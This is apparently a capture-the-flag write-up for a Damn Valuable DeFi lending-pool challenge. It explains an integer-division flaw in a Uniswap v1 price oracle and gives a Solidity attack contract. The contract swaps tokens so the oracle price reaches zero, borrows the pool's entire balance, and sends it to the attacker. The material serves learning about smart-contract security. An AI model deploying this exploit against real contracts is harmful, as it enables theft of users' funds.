There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

A correct implementation should multiply by the borrowAmount first before dividing by the token balance to circumvent this issue.

function computeOraclePrice() public view returns (uint256) {
    // this is wrong and will be 0 due to integer division as soon as the pool's token balance > ETH balance
    return uniswapOracle.balance.div(token.balanceOf(uniswapOracle));

		// you should do
	token.balanceOf(uniswapOracle)*borrowAmount
}

少しswapして分母を大きくするだけでreturn valueは0になる

uint256 depositRequired = borrowAmount.mul(tokenPriceInWei) * 2;

👉  User doesn’t need to deposit token

function attack(uint256 amount) public {
    // trade tokens to ETH to increase tokens balance in uniswap
    require(token.balanceOf(address(this)) >= amount, "not enough tokens");
    token.approve(address(uniswap), amount);
    uint256 ethGained =
        uniswap.tokenToEthSwapInput(amount, 1, block.timestamp + 1);

    // computeOraclePrice has integer division issue which will make price 0
    // as soon as token balance is greater than ETH balance
    require(pool.computeOraclePrice() == 0, "oracle price not 0");

    // now borrow everything from the pool at a price of 0
    pool.borrow(token.balanceOf(address(pool)));

    // success condition is that attacker's ETH balance did not decrease
    // but it reduced due to gas cost, just send back the eth we gained from the swap
    // transfer all tokens & eth to attacker EOA
    require(
        token.transfer(msg.sender, token.balanceOf(address(this))),
        "token transfer failed"
    );
    msg.sender.transfer(ethGained);
}

// required to receive ETH from uniswap
receive() external payable {}